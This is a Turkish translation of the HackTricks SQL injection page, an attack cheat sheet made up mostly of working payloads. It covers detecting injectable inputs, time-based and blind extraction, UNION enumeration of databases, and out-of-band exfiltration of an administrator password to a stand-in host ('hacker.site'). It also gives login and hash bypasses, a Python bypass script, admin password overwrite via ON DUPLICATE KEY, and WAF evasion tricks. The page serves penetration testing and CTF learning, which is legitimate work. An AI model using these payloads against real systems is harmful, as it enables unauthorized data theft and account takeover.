SQL Injection

Support HackTricks

​​​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

SQL enjeksiyonu nedir?

SQL enjeksiyonu, saldırganların bir uygulamanın veritabanı sorgularıyla etkileşimde bulunmasına olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların görmesine, değiştirmesine veya silmesine izin verebilir; bu, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere, erişmemeleri gereken verilere erişim sağlar. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.

Giriş noktası tespiti

Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle SQL enjeksiyonuna (SQLi) duyarlı olduğu görünüyorsa, ilk adım, sorguya veri enjekte etmenin ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan etkili bir şekilde kaçış yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Sonra, sorguyu hatasız hale getirmeyi bilmeniz gerekiyor. Sorguyu düzeltmek için veri girebilir ve önceki sorgunun yeni veriyi kabul etmesini sağlayabilirsiniz veya sadece verinizi girebilir ve sonuna bir yorum sembolü ekleyebilirsiniz.

Hata mesajlarını görebiliyorsanız veya bir sorgunun çalıştığında ve çalışmadığında farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır.

Yorumlar

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Mantıksal işlemlerle doğrulama

SQL injection zafiyetini doğrulamanın güvenilir bir yöntemi, bir mantıksal işlem gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, ?username=Peter gibi bir GET parametresinin ?username=Peter' or '1'='1 olarak değiştirildiğinde aynı içeriği vermesi, bir SQL injection zafiyetini gösterir.

Benzer şekilde, matematiksel işlemlerin uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, ?id=1 ve ?id=2-1 erişimlerinin aynı sonucu vermesi, SQL injection'ı gösterir.

Mantıksal işlem doğrulamasını gösteren örnekler:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Bu kelime listesi, önerilen şekilde SQL enjeksiyonlarını doğrulamak için oluşturulmuştur:

Zaman ile Doğrulama

Bazı durumlarda, test ettiğiniz sayfada hiçbir değişiklik fark etmeyeceksiniz. Bu nedenle, kör SQL enjeksiyonlarını keşfetmenin iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde etkisi olacaktır. Bu nedenle, SQL sorgusuna tamamlanması uzun sürecek bir işlemi birleştireceğiz:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Bazı durumlarda sleep fonksiyonlarına izin verilmeyecek. O zaman, bu fonksiyonları kullanmak yerine, sorgunun karmaşık işlemler gerçekleştirmesini sağlayabilirsiniz. Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa).

Arka Uç Belirleme

Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmaya çalışmaktır. Önceki bölümdeki sleep fonksiyonlarını veya bu fonksiyonları kullanabilirsiniz (tablo payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Ayrıca, sorgunun çıktısına erişiminiz varsa, veritabanının sürümünü yazdırmasını sağlayabilirsiniz.

Devamında, farklı SQL Injection türlerini istismar etmenin çeşitli yöntemlerini tartışacağız. Örnek olarak MySQL kullanacağız.

PortSwigger ile Tanımlama

Union Tabanlı İstismar

Sütun sayısını tespit etme

Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yoludur. Öncelikle, ilk isteğin döndürdüğü sütunların sayısını bulmamız gerekiyor. Bunun nedeni, her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir. Bu amaçla genellikle iki yöntem kullanılır:

Order/Group by

Bir sorgudaki sütun sayısını belirlemek için, ORDER BY veya GROUP BY ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki GROUP BY ve ORDER BY'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Sorgu doğru olana kadar daha fazla null değeri seçin:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir.

Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın

Sonraki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Her farklı veritabanında bu verileri keşfetmenin farklı bir yolu vardır, ancak metodoloji her zaman aynıdır.

Gizli Birleşim Tabanlı Sömürme

Bir sorgunun çıktısı görünürken, ancak birleşim tabanlı bir enjeksiyon mümkün görünmüyorsa, bu gizli birleşim tabanlı enjeksiyon varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu birleşim tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.

Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir.

Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir birleşim sorgusu eklenir ve bu, yeni erişilebilir birleşim tabanlı enjeksiyonun sömürülmesini kolaylaştırır.

Daha kapsamlı bilgiler için Kör Enjeksiyonları İyileştirme başlıklı makaleye başvurun.

Hata Tabanlı Sömürme

Eğer bir sebepten dolayı sorgunun çıkışını göremiyorsanız ama hata mesajlarını görebiliyorsanız, bu hata mesajlarını veritabanından veri sızdırmak için kullanabilirsiniz. Birleşim Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi'yi İstismar Etme

Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun doğru veya yanlış bir yanıt döndürdüğünü ayırdedebilirsiniz çünkü sayfada farklı içerikler vardır. Bu durumda, veritabanını karakter karakter dökmek için bu davranışı kötüye kullanabilirsiniz:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Hata Kör SQLi Sömürüsü

Bu, önceki durumla aynı ama sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir hata olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Zaman Tabanlı SQLi İstismar Etme

Bu durumda, sayfanın bağlamına dayalı olarak sorgunun yanıtını ayırmanın herhangi bir yolu yoktur. Ancak, tahmin edilen karakter doğruysa sayfanın yüklenme süresini uzatmasını sağlayabilirsiniz. Bu tekniği daha önce SQLi zafiyetini doğrulamak için kullanırken gördük.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Stacked sorguları kullanarak birden fazla sorguyu peş peşe çalıştırabilirsiniz. Sonraki sorgular çalıştırılırken, sonuçlar uygulamaya geri döndürülmez. Bu nedenle, bu teknik esasen kör zafiyetler ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.

Oracle stacked queries'i desteklemez. MySQL, Microsoft ve PostgreSQL destekler: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Eğer başka bir istismar yöntemi çalışmadıysa, veritabanının bilgiyi sizin kontrolünüzdeki harici bir hosta sızdırmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE aracılığıyla bant dışı veri sızdırma

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Otomatik Sömürü

Bir SQLi zafiyetini sqlmap ile sömürmek için SQLMap Cheatsheet dosyasını kontrol edin.

Teknolojiye özel bilgiler

Bir SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla ipucu bulabilirsiniz:

Ya da MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok ipucu bulacaksınız https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Kimlik Doğrulama Atlatma

Giriş işlevini atlatmaya çalışmak için liste:

Login bypass List

Ham hash kimlik doğrulama Atlatma

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir güvenlik açığını sergilemektedir ve sistemi SQL injection'a karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Enjekte Edilmiş Hash Kimlik Doğrulama Atlatma

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Önerilen liste:

Kullanıcı adı olarak listenin her bir satırını ve şifre olarak her zaman: Pass1234. kullanmalısınız. (Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)

GBK Kimlik Doğrulama Atlatma

Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde şu şekilde oluşturulacaktır: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python betiği:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Mevcut nesne/kullanıcının şifresini değiştirme

Bunu yapmak için "ana nesne" olarak adlandırılan yeni bir nesne oluşturmayı denemelisiniz (kullanıcılar için muhtemelen admin):

  • Adı olan kullanıcı oluşturun: AdMIn (büyük & küçük harfler)

  • Adı olan bir kullanıcı oluşturun: admin=

  • SQL Truncation Attack (kullanıcı adı veya e-posta için bazı türde uzunluk sınırı olduğunda) --> Adı olan kullanıcı oluşturun: admin [bir sürü boşluk] a

SQL Truncation Attack

Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve admin kullanıcısını taklit etmek istiyorsanız, "admin [30 boşluk] a" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin.

Veritabanı, girilen kullanıcı adının veritabanında var olup olmadığını kontrol edecektir. Eğer yoksa, kullanıcı adını izin verilen maksimum karakter sayısına (bu durumda: "admin [25 boşluk]") kesecek ve ardından veritabanında kullanıcıyı "admin" yeni şifreyle güncelleyerek sonundaki tüm boşlukları otomatik olarak kaldıracaktır (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).

Daha fazla bilgi: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar varsayılan olarak son boşlukları hala göz ardı etse de, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya yol açacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Ekleme zaman tabanlı kontrol

VALUES ifadesinden çıkmak için düşündüğünüz kadar ','','' ekleyin. Gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL'deki ON DUPLICATE KEY UPDATE ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir tekrar eden değer oluşturacak şekilde bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:

Örnek Yük Enjeksiyonu:

Bir enjeksiyon yükü şu şekilde oluşturulabilir; burada users tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır bir aldatmaca, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedef alarak şifreyi güncellemeyi amaçlamaktadır:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • Sorgu, generic_user@example.com için bir ve admin_generic@example.com için başka bir satır eklemeye çalışır.

  • Eğer admin_generic@example.com için satır zaten mevcutsa, ON DUPLICATE KEY UPDATE ifadesi tetiklenir ve MySQL'e mevcut satırın password alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.

  • Sonuç olarak, admin_generic@example.com ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder, bu da istenen şifrenin gerçek hash'i ile değiştirilmelidir).

Extract information

Aynı anda 2 hesap oluşturma

Yeni bir kullanıcı ve kullanıcı adı oluşturulmaya çalışıldığında, şifre ve e-posta gereklidir:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Onaltılık veya ondalık kullanma

Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Hiçbir şeyi yorumlamanıza gerek olmadığını belirtmek önemlidir.

hex2dec ve substr kullanarak:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Metni almak için şunu kullanabilirsiniz:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex ve replace (ve substr) kullanarak:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Yönlendirilmiş SQL enjeksiyonu

Yönlendirilmiş SQL enjeksiyonu, enjekte edilebilir sorgunun çıktı vermediği, ancak enjekte edilebilir sorgunun çıktısının çıktı veren sorguya gittiği bir durumdur. (Kaynak: Paper)

Örnek:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

İlk bypass'lar buradan

Boşluk olmadan bypass

No Space (%20) - boşluk alternatifleri kullanarak bypass

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - yorumlar kullanarak atlatma

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - parantez kullanarak atlatma

?id=(1)and(1)=(1)--

Virgül bypass'ı

Virgül - OFFSET, FROM ve JOIN kullanarak bypass

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Genel Atlatmalar

Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak atlatma

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Kelimeleri büyük/küçük harf duyarsız olarak kara listeye alma - eşdeğer bir operatör kullanarak atlatma

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bilimsel Notasyon WAF atlatma

Bu hile hakkında daha derin bir açıklamayı gosecure blog adresinde bulabilirsiniz. Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullanabilirsiniz:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Öncelikle, orijinal sorgu ve bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu fark edin, sadece şunu yapabilirsiniz: 0 UNION SELECT * FROM flag

Bir tablonun üçüncü sütununa adını kullanmadan erişmek mümkündür, aşağıdaki gibi bir sorgu kullanarak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, bu nedenle bir sqlinjection'da bu şöyle görünecektir:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Veya virgül atlatması kullanarak:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Bu hile https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ adresinden alınmıştır.

WAF atlatma öneri araçları

Diğer Kılavuzlar

Brute-Force Tespit Listesi

​​​​​​​RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

HackTricks'i Destekleyin

Last updated